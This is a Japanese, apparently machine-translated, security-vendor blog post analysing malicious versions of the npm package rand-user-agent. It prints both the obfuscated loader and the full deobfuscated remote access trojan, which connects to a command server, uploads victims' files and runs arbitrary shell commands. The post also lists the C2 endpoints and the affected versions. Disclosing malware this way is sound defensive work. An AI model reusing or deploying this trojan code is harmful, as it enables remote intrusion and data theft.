製品
コード、クラウド、ランタイムのセキュリティを確保するために必要なすべてを1つの集中管理システムで実現
コード
依存関係
オープンソースのリスクを防ぐ(SCA)
機密事項
機密漏洩のフラグを立てられる
SAST
記述通りの安全なコード
コンテナ画像
安全なイメージの構築
マルウェア
サプライチェーン攻撃の防止
IaC
IaCの設定ミスをスキャンする
ライセンス・リスクとSBOM
リスクを回避し、コンプライアンスを遵守する
時代遅れのソフトウェア
EOLランタイムを知る
クラウド
CSPM
クラウドの設定ミス
DAST
ブラックボックス・セキュリティ・テスト
APIスキャン
APIの脆弱性をテストする
仮想マシン
代理店なし、諸経費なし
Kubernetesランタイム
まもなく
コンテナワークロードのセキュリティ
クラウド在庫管理
まもなく
クラウド・スプロールの解決
ディフェンス
ランタイム保護
アプリ内ファイアウォール / WAF
特徴
AI自動修正
Aikido AIによる1クリック修正
CI/CD セキュリティ
マージおよびデプロイ前のスキャン
IDEインテグレーション
コーディング中にすぐにフィードバックを得る
オンプレミスキャナ
コンプライアンス優先のローカル・スキャン
ソリューション
使用例
コンプライアンス
SOC 2、ISO、その他の自動化
脆弱性管理
オールインワンの脆弱性管理
コード保護
高度なコード・セキュリティ
SBOMの生成
1クリック SCAレポート
ASPM
包括的なアプリケーションセキュリティ
AikidoのAI
AikidoのAIに任せる
ブロック0日
被害を受ける前に脅威を遮断する
産業別
フィンテック
ヘルステック
HRテック
リーガルテック
グループ会社
エージェンシー
スタートアップ企業
企業
モバイルアプリ
製造業
価格
リソース
開発者
資料
Aikidoの使い方
公開APIドキュメント
Aikido 開発者ハブ
変更履歴
出荷状況を見る
セキュリティ
社内リサーチ
マルウェア&CVEインテリジェンス
用語集
セキュリティ専門用語ガイド
トラストセンター
安全、プライベート、コンプライアンス
オープンソース
Aikido インテル
マルウェア&OSS脅威フィード
禅
アプリ内ファイアウォール保護
OpenGrep
コード解析エンジン
インテグレーション
IDE
CI/CDシステム
クラウド
Gitシステムズ
コンプライアンス
メッセンジャー
タスクマネージャー
その他の統合
について
について
について
チーム紹介
採用情報
募集中
プレスリリース
ブランドアセットのダウンロード
カレンダー
また会えますか?
オープンソース
OSSプロジェクト
ブログ
最新記事
お客様のフィードバック
最高のチームからの信頼
お問い合わせ
ログイン
無料で始める
CC不要
Aikido
メニュー
Aikido
EN
EN
FR
JP
ログイン
無料で始める
CC不要
ブログ
/
ラタトゥイユrand-user-agentに隠された悪意のあるレシピ(サプライチェーンの侵害)

ラタトゥイユrand-user-agentに隠された悪意のあるレシピ(サプライチェーンの侵害)

?による
チャーリー・エリクセン
チャーリー・エリクセン
4min read

5月5日16:00GMT+0、当社の自動マルウェア解析パイプラインは、リリースされた不審なパッケージを検出しました、 rand-user-agent@1.0.110.パッケージの中に異常なコードを検出したが、それは間違っていなかった。この正規のパッケージに対するサプライチェーン攻撃の兆候を検出した。 

パッケージは何ですか?

rand-user-agent`パッケージは、出現頻度に基づいて実際のユーザーエージェント文字列をランダムに生成します。WebScrapingAPI(https://www.webscrapingapi.com/) によって管理されている。

何を発見したのか?

我々の解析エンジンは、dist/index.jsというファイルから不審なコードを検出した。npmのサイトのコード・ビューで確認してみよう:

rand-user-agentのスクロールバーによる隠しコード

何かおかしなことにお気づきですか?下にスクロールバーがあるでしょ?くそっ、またやってくれた。コードを隠そうとしているのだ。これがその隠そうとしているものだ:

global["_V"] = "7-randuser84";
global["r"] = require;
var a0b, a0a;
(function () {
  var siM = "",
    mZw = 357 - 346;
  function pHg(l) {
    var y = 2461180;
    var i = l.length;
    var x = [];
    for (var v = 0; v < i; v++) {
      x[v] = l.charAt(v);
    }
    for (var v = 0; v < i; v++) {
      var h = y * (v + 179) + (y % 18929);
      var w = y * (v + 658) + (y % 13606);
      var s = h % i;
      var f = w % i;
      var j = x[s];
      x[s] = x[f];
      x[f] = j;
      y = (h + w) % 5578712;
    }
    return x.join("");
  }
  var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj").substr(0, mZw);
  var Abp =
    'e;s(Avl0"=9=.u;ri+t).n5rwp7u;de(j);m"[)r2(r;ttozix+z"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o4at1nj,2m9.o;i0uhl[j1zen oq9v,=)eAa8hni e-og(e;s+es7p,.inC7li1;o 2 gai](r;rv=1fyC[  v =>agfn,rv"7erv,htv*rlh,gaq0.i,=u+)o;;athat,9h])=,um2q(svg6qcc+r. (u;d,uor.t.0]j,3}lr=ath()(p,g0;1hpfj-ro=cr.[=;({,A];gr.C7;+ac{[=(up;a](s sa)fhiio+cbSirnr; 8sml o<.a6(ntf gr=rr;ea+=;u{ajrtb=bta;s((tr]2+)r)ng[]hvrm)he<nffc1;an;f[i]w;le=er=v)daec(77{1)lghr(t(r0hewe;<a tha);8l8af6rn o0err8o+ivrb4l!);y rvutp;+e]ez-ec=).(])o r9=rg={0r4=l8i2gCnd)[];dca=,ivu8u rs2+.=7tjv5(=agf=,(s>e=o.gi9nno-s)v)d[(tu5"p)6;n2lpi)+(}gd.=}g)1ngvn;leti7!;}v-e))=v3h<evvahr=)vbst,p.lforn+pa)==."n1q[==cvtpaat;e+b";sh6h.0+(l}==+uca.ljgi;;0vrwna+n9Ajm;gqpr[3,r=q10or"A.boi=le{}o;f h n]tqrrb)rsgaaC1r";,(vyl6dnll.(utn yeh;0[g)eew;n);8.v +0+,s=lee+b< ac=s."n(+l[a(t(e{Srsn a}drvmoi]..odi;,=.ju];5a=tgp(h,-ol8)s.hur;)m(gf(ps)C';
  var QbC = pHg[Rjb];
  var duZ = "";
  var yCZ = QbC;
  var pPW = QbC(duZ, pHg(Abp));
  var fqw = pPW(
    pHg(
      ']W.SJ&)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\/P<t(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a ]Qpip]#PZP;eNP_P6(=qu!Pqk%\/pT=tPd.f3(c2old6Y,a5)4 (_1!-u6M<!6=x.b}2P 4(ba9..=;p5P_e.P)aP\/47PtonaP\/SPxse)59f.)P)a2a,i=P]9q$.e=Pg23w^!3,P.%ya05.&\'3&t2)EbP)P^P!sP.C[i_iP&\'. 3&5ecnP(f"%.r5{!PPuH5].6A0roSP;;aPrg(]oc8vx]P(aPt=PP.P)P)(he6af1i0)4b(( P6p7Soat9P%2iP y 1En,eVsePP[n7E)r2]rNg3)CH(P2.s>jopn2P$=a7P,].+d%1%p$]8)n_6P1 .ap;=cVK%$e(?,!Vhxa%PPs);.tbr.r5ay25{gPegP %b7 (!gfEPeEri3iut)da(saPpd%)6doPob%Ds e5th }PP781su{P.94$fe.b.({(!rb=P(a{t3t8eBM,#P^m.q.0StPro8)PP(]"nP)e4(y)s.1n4 tl658r)Pove5f;%0a8e0c@P(d16(n.jsP)y=hP3,.gsvP4_%;%c%e.xd[,S1PhWhP.$p.p`i0P?PP5P_Paddn%D$_xn)3,=P]axn0i.(3;.0vcPj%y=cd56ig\/P=[ .nr)Ps iPedjgo5\/o6.m#;dD%iax,[aK1ot(S%hI noqjf7oPoezP,0,9d){cPx uPmsb11ah9n22=8j{wAPe1 ciP;db((KP9%l5=0.aP%}] std1.tt).A%.%brib);N)0d{4h6f4N)8mt$9)g) 7n;(a(_(7 laP!($!.1s5]P4P)hiu%72P1}Ve.+)12>%$P)_1P)na3)_tP\'69086t3im=n1M1c)0);)d3)4neaPD]4m(%fd[Pofg6[m}b4P[7vV)P)S;P]]=9%124oDtrP;f)[(;)rdPiP3d}0f.3a]SI=))}:X^d5oX,)aCh]]h19dzd.Pf_Pad]j02a)bPm3x0(aPzV;6+n#:pPd.P8)(aa,$P7o%)),;)?4.dP=2PP.Piu!(})30YP4%%66]0blP,P1cfPoPPG{P8I(]7)n! _t. .PsP};.)\/(hP)f)Loc5QPX>a!nT}aPa_P6jfrP0]fSoaPs.jbs )aPW+\/P8oaP}_RjGpPS,r___%%.v(ZP.3)! i]H1{(a2P;Pe)ji.Pi10lc.cp6ymP13]PL5;cPPK%C c79PGp=%P1^%}().j.rPsoa]sP+_P)l)]P(P8bP,ap$BP,;,c01;51bP(PccP))tPh]hc4B(P=(h%l<Ps!4w]_c[]e(tnyP)))P_a?+P+P.H],2-tfa^$;r(P!\\a]))1c&o1..j(%sPxef5P.6aP;9.b Rg(f=)\/vb9_3,P95&PP,\\=9p423).P]_7,"E)n\/Js2 PF)aPPPi)b0!06o6.8oa=thx2!..P$P oPs8PxP)n)aP;o71PkPp7i$Pb)P]_a,rta%_jUa<48R(;[!]VPaPut7rf.+v$aP$ i$P&56l.%]dP9(s1e$7b=34}MPt0,(c(.P(fPic$=ch)nP?jf0!PP8n9i2].P1)PPMa.t$)4P.q].ii3}aP;aPPr,bg;PdP98tPctPa0()_%dPr =.r.mJt)(P]sCJoeb(PiaPo(lr*90aPPgo\\dP\/PPa+mx2fPpPP4,)Pd8Nfp4uaIho]c[]361P&b}bPPP4t=3\'a)PnP(,8fp]P706p1PPle$f)tcPoP 7bP$!-vPPW10 0yd]4)2"ey%u2s9)MhbdP]f9%P.viP4P=,a s].=4])n$GPPsPaoP81}[%57)]CSPPa;!P2aPc..Pba?(Pati0]13PP,{P(haPcP;W%ff5XPia.j!4P(ablil}rcycN.7Pe.a_4%:7PHctP1P)c_(c;dt.Pl(PPP)V\/[Ph_.j&P]3geL[!c$P3P88ea(a8.d,)6fPP3a=rz3O[3)\\bnd=)6ac.a?,(]e!m=;{a&(]c_01rP_)2P9[xfz._9P,qP.9k%0mPen_a"]4PtP(m;PP})t2PkPPp=])d9Pt}oa)eP)rPi@j(+PP@.#P(t6=%[\\a\\}o2jr51d;,Paw$\/4Pt;2P23iP(_CPO2p.$(iP*]%!3P(P.3()P1m7(U7tI#9wejf.sc.oes)rPgt(+oe;,Px5(sn;O0f_22)r.z}l]Ig4a)xF P}?P;$?cw3,bg\\cPaP(grgalP$)(]e@2),Pa(fP=_,t{) (ec]aP1f2.z1[P !3 ?_b],P4CnoPx%)F9neQ.;sPb11ao1)6Pdd_l(%e)}Plp((4c6pou46ea# mdad_3hP3a.m,d.P(l]Q{Pt")7am=qPN7)$ oPF(P%kPat)$Pbaas=[tN;1;-?1)hO,,Pth;}aP.PP),,:40P#U}Paa92.|,m-(}g #a.2_I? 56a3PP(1%7w+11tPbPaPbP.58P6vrR,.{f.or)nn.d]P]r03j0;&482Pe.I_siP(Iha3=0zPy\/t%](_e)))[P26((;,d$P6e(l]r+C=[Pc347f3rTP=P.%f)P96].%P]"0InP(5a_iPIP13WNi)a4mP.s=`aveP>.;,$Es)P2P0=)v_P%8{P;o).0T2ox*PP:()PTS!%tc])4r.fy sefv{.)P9!jltPPsin6^5t(P0tr4,0Pt_P6Pa]aa|(+hp,)pPPCpeP.13l])gmrPc3aa] f,0()s3.tf(PPriPtb40aPnr8 2e0"2>P0tj$d_75!LG__7xf7);`f_fPPP]c6Wec;{Pi4.!P(\\#(b_u{=4RYr ihHP=Pac%Po 5vyt)DP6m5*1# 3ao6a7.0f1f0P. )iKPb),{PPPd=Po;roP$f=P1-_ePaa!8DV()[oP3(i,Pa,(c=o({PpPl#).c! =;"i;j]1vr i.d-j=t,).n9t%r5($Plc;?d]8P<=(sPP)AoPa)) P1x]Kh)(0]}6PAfbCp7PP(1oni,!rsPu.!-2g0 ,so0SP3P4j0P2;QPPjtd9 46]l.]t7)>5s31%nhtP!a6pP0P0a[!fPta2.P3 \\. ,3b.cb`ePh(Po a+ea2af(a13 oa%:}.kiM_e!d Pg>l])(@)Pg186( .40[iPa,sP>R(?)7zrnt)Jn[h=)_hl)b$3`($s;c.te7c}P]i52"9m3t ,P]PPP_)e4tf0Ps ,P+PP(gXh{;o_cxjn.not.2]Y"Pf6ep!$:1,>05PHPh,PF(P7.;{.lr[cs);k4P\/j7aP()M70glrP=01aes_Pfdr)axP p2?1ba2o;s..]a.6+6449ufPt$0a$5IsP(,P[ejmP0PP.P%;WBw(-5b$P d5.3Uu;3$aPnfu3Zha5 5gdP($1ao.aLko!j%ia21Pmh 0hi!6;K!P,_t`i)rP5.)J].$ b.}_P (Pe%_ %c^a_th,){(7  0sd@d$s=$_el-a]1!gtc(=&P)t_.f ssh{(.F=e9lP)1P($4P"P,9PK.P_P s));',
    ),
  );
  var zlJ = yCZ(siM, fqw);
  zlJ(5164);
  return 8268;
})();

うん、これはまずそうだ。これは明らかにそこにあるべきものではない

コードはどのようにしてそこに到達したのか?

プロジェクトのGitHubリポジトリを見てみると、最後のコミットは7ヶ月前のバージョン2.0.82である。

GitHub Rand-user-agentのスクリーンショット

npmのバージョン履歴を見ると、奇妙なことがわかる。その後、何度もリリースされている:

GitHubによれば、最後のリリースは次のようになる。 2.0.82.それ以降のパッケージを調べると、すべてこの悪質なコードが入っている。明らかなサプライチェーン攻撃である。 

悪意のあるペイロード

ペイロードはかなり難読化されており、隠すために何重もの難読化を使用している。しかし、これが最終的に見つかるペイロードだ:

global['_H2'] = ''
global['_H3'] = ''
;(async () => {
  const c = global.r || require,
    d = c('os'),
    f = c('path'),
    g = c('fs'),
    h = c('child_process'),
    i = c('crypto'),
    j = f.join(d.homedir(), '.node_modules')
  if (typeof module === 'object') {
    module.paths.push(f.join(j, 'node_modules'))
  } else {
    if (global['_module']) {
      global['_module'].paths.push(f.join(j, 'node_modules'))
    }
  }
  async function k(I, J) {
    return new global.Promise((K, L) => {
      h.exec(I, J, (M, N, O) => {
        if (M) {
          L('Error: ' + M.message)
          return
        }
        if (O) {
          L('Stderr: ' + O)
          return
        }
        K(N)
      })
    })
  }
  function l(I) {
    try {
      return c.resolve(I), true
    } catch (J) {
      return false
    }
  }
  const m = l('axios'),
    n = l('socket.io-client')
  if (!m || !n) {
    try {
      const I = {
        stdio: 'inherit',
        windowsHide: true,
      }
      const J = {
        stdio: 'inherit',
        windowsHide: true,
      }
      if (m) {
        await k('npm --prefix "' + j + '" install socket.io-client', I)
      } else {
        await k('npm --prefix "' + j + '" install axios socket.io-client', J)
      }
    } catch (K) {
      console.log(K)
    }
  }
  const o = c('axios'),
    p = c('form-data'),
    q = c('socket.io-client')
  let r,
    s,
    t = { M: P }
  const u = d.platform().startsWith('win'),
    v = d.type(),
    w = global['_H3'] || 'http://85.239.62[.]36:3306',
    x = global['_H2'] || 'http://85.239.62[.]36:27017'
  function y() {
    return d.hostname() + '$' + d.userInfo().username
  }
  function z() {
    const L = i.randomBytes(16)
    L[6] = (L[6] & 15) | 64
    L[8] = (L[8] & 63) | 128
    const M = L.toString('hex')
    return (
      M.substring(0, 8) +
      '-' +
      M.substring(8, 12) +
      '-' +
      M.substring(12, 16) +
      '-' +
      M.substring(16, 20) +
      '-' +
      M.substring(20, 32)
    )
  }
  function A() {
    const L = { reconnectionDelay: 5000 }
    r = q(w, L)
    r.on('connect', () => {
      console.log('Successfully connected to the server')
      const M = y(),
        N = {
          clientUuid: M,
          processId: s,
          osType: v,
        }
      r.emit('identify', 'client', N)
    })
    r.on('disconnect', () => {
      console.log('Disconnected from server')
    })
    r.on('command', F)
    r.on('exit', () => {
      process.exit()
    })
  }
  async function B(L, M, N, O) {
    try {
      const P = new p()
      P.append('client_id', L)
      P.append('path', N)
      M.forEach((R) => {
        const S = f.basename(R)
        P.append(S, g.createReadStream(R))
      })
      const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })
      Q.status === 200
        ? r.emit(
            'response',
            'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\n',
            O
          )
        : r.emit(
            'response',
            'Failed to upload file. Status code: ' + Q.status + '\n',
            O
          )
    } catch (R) {
      r.emit('response', 'Failed to upload: ' + R.message + '\n', O)
    }
  }
  async function C(L, M, N, O) {
    try {
      let P = 0,
        Q = 0
      const R = D(M)
      for (const S of R) {
        if (t[O].stopKey) {
          r.emit(
            'response',
            'HTTP upload stopped: ' +
              P +
              ' files succeeded, ' +
              Q +
              ' files failed\n',
            O
          )
          return
        }
        const T = f.relative(M, S),
          U = f.join(N, f.dirname(T))
        try {
          await B(L, [S], U, O)
          P++
        } catch (V) {
          Q++
        }
      }
      r.emit(
        'response',
        'HTTP upload succeeded: ' +
          P +
          ' files succeeded, ' +
          Q +
          ' files failed\n',
        O
      )
    } catch (W) {
      r.emit('response', 'Failed to upload: ' + W.message + '\n', O)
    }
  }
  function D(L) {
    let M = []
    const N = g.readdirSync(L)
    return (
      N.forEach((O) => {
        const P = f.join(L, O),
          Q = g.statSync(P)
        Q && Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)
      }),
      M
    )
  }
  function E(L) {
    const M = L.split(':')
    if (M.length < 2) {
      const R = {}
      return (
        (R.valid = false),
        (R.message = 'Command is missing ":" separator or parameters'),
        R
      )
    }
    const N = M[1].split(',')
    if (N.length < 2) {
      const S = {}
      return (
        (S.valid = false), (S.message = 'Filename or destination is missing'), S
      )
    }
    const O = N[0].trim(),
      P = N[1].trim()
    if (!O || !P) {
      const T = {}
      return (
        (T.valid = false), (T.message = 'Filename or destination is empty'), T
      )
    }
    const Q = {}
    return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q
  }
  function F(L, M) {
    if (!M) {
      const O = {}
      return (
        (O.valid = false),
        (O.message = 'User UUID not provided in the command.'),
        O
      )
    }
    if (!t[M]) {
      const P = {
        currentDirectory: __dirname,
        commandQueue: [],
        stopKey: false,
      }
    }
    const N = t[M]
    N.commandQueue.push(L)
    G(M)
  }
  async function G(L) {
    let M = t[L]
    while (M.commandQueue.length > 0) {
      const N = M.commandQueue.shift()
      let O = ''
      if (N.startsWith('cd')) {
        const P = N.slice(2).trim()
        try {
          process.chdir(M.currentDirectory)
          process.chdir(P || '.')
          M.currentDirectory = process.cwd()
        } catch (Q) {
          O = 'Error: ' + Q.message
        }
      } else {
        if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {
          const R = E(N)
          if (!R.valid) {
            O = 'Invalid command format: ' + R.message + '\n'
            r.emit('response', O, L)
            continue
          }
          const { filename: S, destination: T } = R
          M.stopKey = false
          O = ' >> starting upload\n'
          if (N.startsWith('ss_upf')) {
            B(y(), [f.join(process.cwd(), S)], T, L)
          } else {
            N.startsWith('ss_upd') && C(y(), f.join(process.cwd(), S), T, L)
          }
        } else {
          if (N.startsWith('ss_dir')) {
            process.chdir(__dirname)
            M.currentDirectory = process.cwd()
          } else {
            if (N.startsWith('ss_fcd')) {
              const U = N.split(':')
              if (U.length < 2) {
                O = 'Command is missing ":" separator or parameters'
              } else {
                const V = U[1]
                process.chdir(V)
                M.currentDirectory = process.cwd()
              }
            } else {
              if (N.startsWith('ss_stop')) {
                M.stopKey = true
              } else {
                try {
                  const W = {
                    cwd: M.currentDirectory,
                    windowsHide: true,
                  }
                  const X = W
                  if (u) {
                    try {
                      const Y = f.join(
                          process.env.LOCALAPPDATA ||
                            f.join(d.homedir(), 'AppData', 'Local'),
                          'Programs\\Python\\Python3127'
                        ),
                        Z = { ...process.env }
                      Z.PATH = Y + ';' + process.env.PATH
                      X.env = Z
                    } catch (a0) {}
                  }
                  h.exec(N, X, (a1, a2, a3) => {
                    let a4 = '\n'
                    a1 && (a4 += 'Error executing command: ' + a1.message)
                    a3 && (a4 += 'Stderr: ' + a3)
                    a4 += a2
                    a4 += M.currentDirectory + '> '
                    r.emit('response', a4, L)
                  })
                } catch (a1) {
                  O = 'Error executing command: ' + a1.message
                }
              }
            }
          }
        }
      }
      O += M.currentDirectory + '> '
      r.emit('response', O, L)
    }
  }
  function H() {
    s = z()
    A(s)
  }
  H()
})()

我々はRAT(リモート・アクセス・トロイの木馬)を手に入れた。その概要は以下の通り:

行動概要

スクリプトは コマンドアンドコントロール サーバー socket.io-clientを経由してファイルを流出させる。 アクシオス を第二のHTTPエンドポイントに追加する。これらのモジュールが足りない場合は、動的にインストールし、カスタムの .node_modules フォルダを作成する。

 C2インフラ

  • ソケット通信: http://85.239.62[.]36:3306‍
  • ファイル・アップロード・エンドポイント: http://85.239.62[.]36:27017/u/f

接続されると、クライアントは固有のID(ホスト名+ユーザー名)、OSタイプ、プロセスIDをサーバーに送信する。

能力

RATがサポートする機能(コマンド)のリストはこちら。

| Command         | Purpose                                                       |
| --------------- | ------------------------------------------------------------- |
| cd              | Change current working directory                              |
| ss_dir          | Reset directory to script’s path                              |
| ss_fcd:<path>   | Force change directory to <path>                              |
| ss_upf:f,d      | Upload single file f to destination d                         |
| ss_upd:d,dest   | Upload all files under directory d to destination dest        |
| ss_stop         | Sets a stop flag to interrupt current upload process          |
| Any other input | Treated as a shell command, executed via child_process.exec() |

バックドアPython3127 PATH ハイジャック

このRATのより巧妙な特徴の1つは、Pythonツールを装って悪意のあるバイナリを静かに実行することを目的とした、Windows固有のPATHハイジャックの使用である。

スクリプトは以下のパスを構築し、その前に パス 環境変数 シェルコマンドを実行する前に:

LOCALAPPDATA%Program Files Python

このディレクトリを パス環境解決された実行ファイルに依存するコマンド(例. パイソン, ピップ、 など)は黙って乗っ取られるかもしれない。これは、Pythonがすでに利用可能であると予想されるシステムで特に効果的です。

const Y = path.join(
  process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local')、
  'ProgramsPython'
)
env.PATH = Y + ';' + process.env.PATH

‍

妥協の指標

現時点では、悪意のあるバージョンのみが指標となっている:

  • 2.0.84
  • 1.0.110
  • 2.0.83
| Usage              | Endpoint                        | Protocol/Method            |
| ------------------ | ------------------------------- | -------------------------- |
| ソケット接続|http://85.239.62[.]36:3306|socket.io-client|
|ファイル・アップロード先|http://85.239.62[.]36:27017/u/f|HTTP POST (multipart/form)

これらのパッケージのいずれかをインストールした場合、そのパッケージがC2と通信しているかどうかを確認できます。

‍

‍

文:チャーリー・エリクセン

マルウェア・リサーチャー

シェアする

https://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise

目次
テキストリンク
シェアする
キーボードを使う
左キーでAikidoスライダーの前へ移動
次のスライドに移動するには、右矢印キーを使用します。
記事を読み進める
?による
チャーリー・エリクセン

XRPサプライチェーン攻撃:NPMの公式パッケージが暗号を盗むバックドアに感染

2025年4月22日
もっと読む
?による
チャーリー・エリクセン

マルウェア出会いガイド故宮マルウェアの種類を理解する

マルウェア
2025年4月10日
もっと読む
?による
チャーリー・エリクセン

隠れて失敗する難読化されたマルウェア、空のペイロード、そしてnpmの悪ふざけ

マルウェア
2025年4月3日
もっと読む
?による
マデリーン・ローレンス

Aikido マルウェアの起動 - Open Source Threat Feed

ニュース
2025年3月31日
もっと読む
?による
チャーリー・エリクセン

ありふれた風景の中に潜むマルウェア北朝鮮のハッカーをスパイする

2025年3月31日
もっと読む
?による
マデリーン・ローレンス

TL;DR: tj-actions/changed-files サプライチェーン・アタック

ニュース
2025年3月16日
もっと読む
?による
マッケンジー・ジャクソン

脆弱性を気にする開発者のための、BSなしのDockerセキュリティ・チェックリスト

ガイド
2025年3月6日
もっと読む
?による
マッケンジー・ジャクソン

JavaScriptによるSQLインジェクション攻撃の検知と阻止

ガイド
2025年3月4日
もっと読む
?による
フロリス・ヴァン・デン・アベール

PrismaとPostgreSQLにNoSQLインジェクションの脆弱性?意外なセキュリティリスクを解説

エンジニアリング
2025年2月14日
もっと読む
?による
ウィレム・デルベール

△Opengrepの立ち上げ|Semgrepをフォークした背景

ニュース
2025年1月24日
もっと読む
?による
トーマス・セグラ

クライアントがNIS2の脆弱性パッチ適用を要求。どうしますか?

2025年1月14日
もっと読む
?による
マッケンジー・ジャクソン

2025年のAI搭載SASTツール・トップ10

ガイド
2025年1月10日
もっと読む
?による
マデリーン・ローレンス

Snyk vsAikido Security|G2レビュー Snyk代替案

ガイド
2025年1月10日
もっと読む
?による
マッケンジー・ジャクソン

2025年のソフトウェア構成分析(SCA)ツール・トップ10

ガイド
2025年1月9日
もっと読む
?による
△ミヒエル・ドゥニ

コンプライアンスとリスク管理を強化する3つの重要なステップ

2024年12月27日
もっと読む
?による
マッケンジー・ジャクソン

スタートアップ企業によるアプリケーション・セキュリティのオープンソースガイド

ガイド
2024年12月23日
もっと読む
?による
マデリーン・ローレンス

カーソルAIのためにAikidoを立ち上げる

エンジニアリング
2024年12月13日
もっと読む
?による
マッケンジー・ジャクソン

△インテルとの出会い:LLMによるAikidoオープンソース脅威フィード。

エンジニアリング
2024年12月13日
もっと読む
?による
ヨハン・デ・キューレナー

AikidoがAWSパートナーネットワークに加盟

ニュース
2024年11月26日
もっと読む
?による
マッケンジー・ジャクソン

2024年のコマンドインジェクション

エンジニアリング
2024年11月24日
もっと読む
?による
マッケンジー・ジャクソン

2024年のパストラバーサル - その年を紐解く

エンジニアリング
2024年11月23日
もっと読む
?による
マッケンジー・ジャクソン

セキュリティのバランス:オープンソースツールと商用ツールの使い分け

ガイド
2024年11月15日
もっと読む
?による
マッケンジー・ジャクソン

SQLインジェクションの現状

ガイド
2024年11月8日
もっと読む
?による
△ミヒエル・ドゥニ

AikidoによるVismaのセキュリティ強化:ニコライ・ブロガードとの対話

ニュース
2024年11月6日
もっと読む
?による
△ミヒエル・ドゥニ

フィンテックにおけるセキュリティ:Boundの共同設立者兼CTO、ダン・キンドラー氏とのQ&A

ニュース
2024年10月10日
もっと読む
?による
フェリックス・ガリオー

2025年のASPMツール・トップ7

ガイド
2024年10月1日
もっと読む
?による
マデリーン・ローレンス

SprintoGRC×Aikidoコンプライアンスを自動化

ニュース
2024年9月11日
もっと読む
?による
フェリックス・ガリオー

ソフトウェア監査用SBOMの作成方法

ガイド
2024年9月9日
もっと読む
?による
マデリーン・ローレンス

SAST対DAST:知っておくべきこと

ガイド
2024年9月2日
もっと読む
?による
フェリックス・ガリオー

開発者向けベストSBOMツール:2025年のピック

ガイド
2024年8月7日
もっと読む
?による
リーヴェン・オスターリンク

5つのSnykの代替品と、それらがより優れている理由

ニュース
2024年8月5日
もっと読む
?による
マデリーン・ローレンス

私たちがLaravelとの提携を熱望する理由

ニュース
2024年7月8日
もっと読む
?による
フェリックス・ガリオー

Polyfillのサプライチェーン攻撃で11万サイトに影響

ニュース
2024年6月27日
もっと読む
?による
フェリックス・ガリオー

LegalTech企業向けサイバーセキュリティの必須事項

ニュース
2024年6月25日
もっと読む
?による
ローランド・デルルー

Drata Integration - 技術的脆弱性管理を自動化する方法

ガイド
2024年6月18日
もっと読む
?による
ジョエル・ハンス

DIYガイド:OSSコードスキャンとアプリセキュリティツールキットを「自作するか購入するか」

ガイド
2024年6月11日
もっと読む
?による
ローランド・デルルー

SOC 2認証:私たちが学んだ5つのこと

ガイド
2024年6月4日
もっと読む
?による
ジョエル・ハンス

アプリのセキュリティ問題トップ10とその対策

ガイド
2024年5月28日
もっと読む
?による
マデリーン・ローレンス

シリーズAで1700万ドルを調達した

ニュース
2024年5月2日
もっと読む
?による

2025年の開発者向けベストRASPツール

2024年4月10日
もっと読む
?による
ウィレム・デルベール

Webhookセキュリティ・チェックリスト:安全なウェブフックを構築する方法

ガイド
2024年4月4日
もっと読む
?による
ウィレム・デルベール

セキュリティ・アラート疲労症候群への対処法

エンジニアリング
2024年2月21日
もっと読む
?による
ローランド・デルルー

NIS2:誰が影響を受けるのか?

ガイド
2024年1月16日
もっと読む
?による
ローランド・デルルー

ISO 27001認証:私たちが学んだ8つのこと

ガイド
2023年12月5日
もっと読む
?による
ローランド・デルルー

クロノス・グループ、企業・顧客のセキュリティ強化にAikido セキュリティを採用

ニュース
2023年11月30日
もっと読む
?による
バート・ヨンクヘール

LoctaxがAikido Securityを使用して無関係なセキュリティ警告とフォルスポジティブを排除する方法

ニュース
2023年11月22日
もっと読む
?による
フェリックス・ガリオー

Aikido Security、成長するSaaSビジネスにシームレスなセキュリティ・ソリューションを提供するため500万ユーロを調達

ニュース
2023年11月9日
もっと読む
?による
ローランド・デルルー

Aikido セキュリティはISO27001:2022に準拠

ニュース
2023年11月8日
もっと読む
?による
フェリックス・ガリオー

△StoryChiefのCTOがAikido セキュリティを使用して夜ぐっすり眠る方法

ニュース
2023年10月24日
もっと読む
?による
ウィレム・デルベール

CVEとは何か?

ガイド
2023年10月17日
もっと読む
?による
フェリックス・ガリオー

寿命検出に最適なツール: 2025 年のランキング

ガイド
2023年10月4日
もっと読む
?による
ウィレム・デルベール

2024年Webアプリケーション・セキュリティの脆弱性トップ3

エンジニアリング
2023年9月27日
もっと読む
?による
フェリックス・ガリオー

Aikidoの最新セキュリティ機能 2023年8月

ニュース
2023年8月22日
もっと読む
?による
フェリックス・ガリオー

Aikidoの2025年SaaS CTOセキュリティ・チェックリスト

ニュース
2023年8月10日
もっと読む
?による
フェリックス・ガリオー

Aikidoの2024年SaaS CTOセキュリティ・チェックリスト

ニュース
2023年8月10日
もっと読む
?による
フェリックス・ガリオー

CTOが明かすクラウドとコードセキュリティの15の最重要課題

エンジニアリング
2023年7月25日
もっと読む
?による
ウィレム・デルベール

OWASPトップ10とは?

ガイド
2023年7月12日
もっと読む
?による
ウィレム・デルベール

SaaSアプリの安全な管理画面を構築する方法

ガイド
2023年7月11日
もっと読む
?による
ローランド・デルルー

ISO 27001:2022に備えるには

ガイド
2023年7月5日
もっと読む
?による
ウィレム・デルベール

CI/CDプラットフォームがハッキングされるのを防ぐ

ガイド
2023年6月19日
もっと読む
?による
フェリックス・ガリオー

セキュリティー評価報告書でより早く取引を成立させる方法

ニュース
2023年6月12日
もっと読む
?による
ウィレム・デルベール

技術的脆弱性管理の自動化 [SOC 2]

ガイド
2023年6月5日
もっと読む
?による
ウィレム・デルベール

リポジトリ内のプロトタイプ汚染を防ぐ

ガイド
2023年6月1日
もっと読む
?による
ウィレム・デルベール

SaaSスタートアップのCTOは、開発スピードとセキュリティのバランスをどうとるか?

ガイド
2023年5月16日
もっと読む
?による
ウィレム・デルベール

